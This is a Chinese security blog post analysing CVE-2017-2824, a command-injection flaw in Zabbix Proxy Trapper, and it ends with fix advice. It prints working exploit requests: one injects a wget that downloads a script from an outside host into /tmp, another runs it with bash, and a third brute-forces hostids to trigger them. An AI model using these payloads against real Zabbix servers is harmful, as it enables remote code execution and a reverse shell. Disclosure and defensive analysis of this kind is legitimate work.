首页 > Web安全 > Zabbix Proxy Trapper远程代码执行(CVE-2017-2824)
2017
04-28

Zabbix Proxy Trapper远程代码执行(CVE-2017-2824)

近日,Cisco Talos组织的向zabbix反馈了个远程代码执行漏洞,漏洞编号CVE-2017-2824,简单看了看,查了点资料,翻译整理下该漏洞。

不熟悉zabbix proxy和zabbix server,不确定是不是server必须指定proxy才可以互相进行通信,还是任意proxy都可以向zabbix server发起请求。因此该漏洞是否鸡肋还不太确定,等搭建测试完才能知道是鸡肋还是危害较大。目前看还是有一些利用条件的,比如需要zabbix server配置Auto-discover/Auto registration功能,还有通信的时候有个key字段好像是zabbix server提前设定好的,不确定这个key如果不对,能不能discovery data成功,欢迎大神评论指点。

Zabbix的Trapper功能是一个提供给Zabbix Proxy和Zabbix Server的网络服务,通过TCP端口10050进行通信,类似一种api服务,其中有”discovery data”和”command”这两个请求。

其中command这个请求实际上调用的是Zabbix Server上给定主机的Scripts任务,在zabbix 2.4x版本,默认的有3条Scripts存在于mysql中的scripts表中,对应在zabbix server管理控制台上的功能是Administration-> Scripts-> Checkmarks,可以看到如下三条:

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

问题在于,在调用脚本时,{HOST.CONN}字段实际上被主机的IP地址替换。替换{HOST.CONN}的值位于Zabbix.interface表中,并作为VARCHAR(64)存储在“IP”字段中。因此,如果攻击者可以将恶意命令注入到IP地址字段,并且脚本通过“command”请求运行,则将发生命令注入,并且可以获得反向shell。

困难在于获取Zabbix.host表中的实际有效条目,默认情况下,未经身份验证的攻击者无法执行此操作,因此该CVE利用成功的前提是管理需要配置Zabbix Server的某些功能。Zabbix的一个便利特性是Auto-discover/Auto registration功能,可以根据代理提供的数据进行Zabbix Server的配置。更具体地说,如果主机向Zabbix Proxy呈现某些特性,它将自动添加到某些主机组并添加到hosts表中,但更重要的是,将在Zabbix.interface表中创建1个条目,其中IP地址由主机提供,不会对该字段进行任何验证。 因此,通过使用合适的主机向服务器发送“discovery data”请求,可以将命令注入到数据库中。用于利用服务器的请求如下所示:

write_script_cmd = '{
"request":"discovery data",
"host":"zabbix-proxy.nxadmin.com",
"clock":148535399, 
"data":[{
     "clock":1485353070,
     "drule":88,
     "dcheck":174,
     "type":0,
     "ip":";wget -O /tmp/s http://www.nxadmin.com/s;#",        
     "dns":"nxadmin.com",
     "port":10050,
     "key":"nxadmintest",
    "status":0,
    "value":"el7<(^_^)>mcp"
}]}'

由于Zabbix.interface表中ip字段的长度是有限制的,因此还需要再发送一次”discovery data”的请求来注入执行/tmp/s的恶意命令,只需要将上面请求中ip的值修改成如下:

"ip":"/bin/bash /tmp/s;"

在将如上两条恶意命令注入到hosts字段之后,还需要使用command请求来执行上面的恶意命令,但是问题是不知道两条恶意命令对应的hostid。不过由于command请求成功和失败的回显是不同的,因此可以使用爆破hostid的方式来运行上面恶意的两条命令,command请求的格式如下:

run_cmd = '{
"request":"command",
"scriptid":1,
"hostid":14666
}'

从而可以利用/tmp/s反弹shell等等。

漏洞影响版本:

Zabbix 2.4.7 – 2.4.8r1

修复建议:

在Zabbix Server上增加ACL规则,限制10050端口允许通信的IP来源;

删除zabbix server上默认的脚本,对应的功能Administration-> Scripts-> Checkmarks;

Zabbix工程师的补丁修复建议包括在插入Zabbix.interface表中的ip字段时,验证所有的ip地址。

有关zabbix proxy的简单介绍:

Zabbix proxy是一个监控代理服务器它收集监控到的数据先存放在缓冲区保存的时间可以通过配置文件设定然后再传送到Zabbix server;监控代理需要一个单独的数据库,类似于一个分担zabbix server压力的功能,或者在多机房部署的时候其中一个机房使用zabbix proxy 模式然后统一上报给zabbix server。大概的架构图:

Zabbix Proxy Trapper远程代码执行(CVE-2017-2824) - 第1张  | 阿德马Web安全

原分析文章链接:

http://blog.talosintelligence.com/2017/04/zabbix-multiple-vulns.html

 

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。